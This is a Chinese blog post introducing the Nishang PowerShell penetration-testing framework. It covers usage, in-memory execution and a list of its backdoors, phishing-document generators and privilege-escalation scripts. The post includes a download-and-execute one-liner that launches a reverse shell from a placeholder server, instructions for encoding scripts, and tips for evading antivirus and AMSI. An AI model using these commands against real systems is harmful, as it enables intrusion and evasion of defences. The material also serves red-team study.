项目地址:https://github.com/samratashok/nishang
By @nikhil_mitt
为什么今天会突然会介绍说明下 Nishang 呢,原因是在 VT 中看到了有脚本利用了这个框架,因此,便把它给记录下来

1 介绍
NiShang 是一个框架,也是一个脚本和 Payloads 的集合,可在攻防、渗透测试和红队联盟中运用。NiShang 尤其是在渗透测试当中非常有用。
2 用法
在当前 Powershell 会话中导入所有脚本 (适用于 Powershell v3 以后的版本)
PS C:\nishang> Import-Module .\nishang.psm1
.
加上源来使用单个脚本文件
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
获取某个脚本和功能函数的帮助说明
PS C:\nishang> Get-Help [scriptname] -full
注意:该帮助说明适用于运行脚本后的加载函数,而不是脚本本身 (0.3.8 版)。在所有情况下,函数名称都与脚本名称相同。
举个粟子,想要知道 Get-WLAN_Keys.ps1 的帮助说明,可使用
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
3 反病毒
许多反病毒软件将 Nishang 脚本标记为恶意。因为运用 Powershell 编写的这些脚本在目标的内存上执行是非常容易的。下面列举了在内存中执行 PowerShell 脚本的两种基本方法
内存中下载和执行
使用以下命令从远程 Shell,Meterpreter native shell,Web Shell 等来执行 Powershell 脚本,也能从中导出函数。Nishang 中的所有脚本在当前 Powershell 会话中均导出具有相同名称的函数。
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
使用 Powershell 的 -encodedcommand (或 -e) 参数
Nishang 中的所有脚本在当前 PowerShell 会话中导出具有相同名称的函数。因此,在 non-Powershell 程序中使用 encodingcommand 参数时,请确保在脚本本身中进行了函数调用。对于上面的示例,添加一个函数调用 (不带引号) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"
。
使用 Invoke-Encode 来编码脚本:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
向 .\encoded.txt 写入编码数据
向 .\encodedcommand.txt 写入编码命令
从上面开始,使用来自 encodecommand.txt 的编码脚本,然后在可以执行命令的目标上运行它 (远程 Shell,Meterpreter native shell,Web Shell 等)。像下面这样来使用它:
C:\Users\target> powershell -e [encodedscript]
如果仍然检测到脚本,则更改功能和参数名称以及删除帮助内容将对你有所帮助。
如果 Windows 10 的 AMSI 仍然阻止脚本执行,请参见这篇博客文章:http://www.labofapenetrationtester.com/2016/09/amsi.html
3 脚本
目前 NiShang 包含以下脚本和 Payloads
ActiveDirectory
Set-DCShadowPermissions – 修改 AD 对象以提供 DCShadow 所需的最小权限
Antak – the Webshell
Antak – 使用此 Webshell 在内存中执行 Powershell 脚本,运行命令,下载和上传文件
Backdoors
HTTP-Backdoor – 后门可以接收来自第三方网站的指令并在内存中执行 Powershell 脚本
DNS_TXT_Pwnage – 后门可以从 DNS TXT 查询接收命令和 PowerShell 脚本,并在目标上执行它们,可以使用查询进行远程控制
Execute-OnTime – 可以在给定时间上对目标执行 PowerShell 脚本后门
Gupt-Backdoor – 后门无需连接即可从 WLAN SSID 接收命令和脚本
Add-ScrnSaveBackdoor – 可以使用 Windows 屏幕保护程序执行远程命令和脚本后门
Invoke-ADSBackdoor – 可以使用备用数据流和 Windows 注册表实现持久性后门
Add-RegBackdoor – Debugger 后门程序,可以使用 Sticky 键和 Utilman (Windows 键 + U) 执行 Payload
Set-RemotePSRemoting – 修改 DCOM 和 WMI 名称空间的权限,以允许非管理员用户访问
Bypass
Invoke-AmsiBypass – 实施绕过 AMSI 的方法
Client
Out-CHM – 创建可以执行 PowerShell 命令和脚本的受感染 CHM 文件
Out-Word – 创建 Word 文件并感染现有文件以运行 Powershell命令和脚本
Out-Excel – 创建 Excel 文件并感染现有文件以运行 Powershell 命令和脚本
Out-HTA – 创建一个 HTA 文件,该文件可以部署在 Web 服务器上并用于网络钓鱼活动
Out-Java – 创建签名的 JAR 文件,该文件可以与 applet 一起用于脚本和命令执行
Out-Shortcut – 创建能够执行 Powershell 命令和脚本的快捷方式文件
Out-WebQuery – 创建网络钓鱼凭据和 SMB 哈希的 IQY 文件
Out-JS – 创建能够执行 Powershell 命令和 Powershell 脚本的 JS 文件
Out-SCT – 创建能够执行 Powershell 命令和 Powershell 脚本的 SCT 文件
Out-SCF – 创建一个 SCF 文件,该文件可用于捕获 NTLM hash challenges
Escalation
Enable-DuplicateToken – 当需要 SYSTEM 特权时
Remove-Update – 通过移除补丁来介绍漏洞
Invoke-PsUACme – 绕过 UAC
Execution
Download-Execute-PS – 下载并执行内存中的 Powershell 脚本
Download_Execute – 下载文本格式的可执行文件,将其转换为可执行文件,然后执行
Execute-Command-MSSQL – 以足够的权限在 MSSQL Server 上运行 PowerShell 命令,native 命令或 SQL 命令
Execute-DNSTXT-Code – 使用 DNS TXT 查询在内存中执行 shellcode
Out-RundllCommand – 使用 rundll32.exe 执行 Powershell 命令和 Powershell 脚本或反向 Powershell 会话
Gather
Check-VM – 检查虚拟机
Copy-VSS – 使用卷影拷贝服务拷贝 SAM 文件
……
更多脚本可在项目中查看,在这不一一列举,因为实在太多了!
4 更新
关于 Nishang 的更新可关注这个博客:http://labofapenetrationtester.com 或者是关注我的推特 @nikhil_mitt。
5 相关文章
以下的一些博客文章会对初学者有帮助:
- http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
- http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
- http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
- http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
所有关于 Nishang 的文章:
(本文完)
必须 注册 为本站用户, 登录 后才可以发表评论!